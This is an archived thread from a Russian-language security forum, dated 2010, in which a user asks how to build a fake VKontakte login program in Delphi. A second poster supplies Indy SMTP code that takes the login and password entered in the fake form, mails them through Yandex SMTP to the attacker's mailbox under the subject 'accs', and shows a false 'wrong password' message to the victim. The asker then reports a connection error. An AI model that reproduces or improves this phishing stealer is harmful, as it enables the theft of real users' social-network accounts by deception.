ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
Перезагрузить страницу Фейк на delphi
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Фейк на delphi
  #1  
Старый 06.06.2010, 14:19
MUNY
Новичок
Регистрация: 06.03.2010
Сообщений: 3
Провел на форуме:
209190

Репутация: 0
Отправить сообщение для MUNY с помощью ICQ
Question Фейк на delphi
Народ помогите что тут прописывать?
Хочу написать фейк ВК


idmessage1.From.Text:='login@mail.ru'; //От кого пишем сюда тот с которого будет отправляться (как понять от кого и с которого будет отправлятся?)


idPOP31.username:='login@mail.ru'; //Логин (чей логин писать?)

idSmtp1.Password:='xxxxxxx'; //Пароль (чей писать пароль?)
 
Ответить с цитированием

  #2  
Старый 06.06.2010, 14:44
stepashka_
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме:
7879791

Репутация: 265


Отправить сообщение для stepashka_ с помощью ICQ
По умолчанию
Цитата:
idPOP31.username:='login@mail.ru'; //Логин (чей логин писать?)
Пиши мыло своё
Цитата:
idSmtp1.Password:='xxxxxxx'; //Пароль (чей писать пароль?)
Пиши пароль от мыла
Цитата:
idmessage1.From.Text:='login@mail.ru'; //От кого пишем сюда тот с которого будет отправляться (как понять от кого и с которого будет отправлятся?)
Пиши то мыло которое ввел в idPOP31.username:='login@mail.ru';

А лучше сделай так
Цитата:
procedure TForm1.BitBtn1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.yandex.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='логин мыла';
IdSMTP1.Password:='пасс мыла';
IdMessage1.Body.Text:=Edit1.Text+':'+Edit2.Text;
IdMessage1.From.Text:='логин_своего_м ла@yandex.ru';
IdMessage1.Recipients.EMailAddresses:='мыло_к уда_слать_акки@mail.ru';
IdMessage1.Subject:='accs';
IdSMTP1.Connect();
if IdSMTP1.Connected=true then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect
end;

procedure TForm1.IdSMTP1Connected(Sender: TObject);
begin
showmessage('Не верный пасс')
end;
 
Ответить с цитированием

  #3  
Старый 06.06.2010, 15:52
MUNY
Новичок
Регистрация: 06.03.2010
Сообщений: 3
Провел на форуме:
209190

Репутация: 0
Отправить сообщение для MUNY с помощью ICQ
По умолчанию
пишет
Socket error
connection refused
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Простейший фейк на Delphi BELbIY С/С++, C#, Delphi, .NET, Asm 18 03.06.2010 14:47
Литература Delphi Sams С/С++, C#, Delphi, .NET, Asm 2 19.03.2010 19:46
Books PSalm69 Избранное 248 27.10.2009 04:52
Virus.Win32.Induc.a или "Снова записки новичка" _=(mac)=_ Защита ОС: вирусы, антивирусы, файрволы. 5 24.08.2009 23:34



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ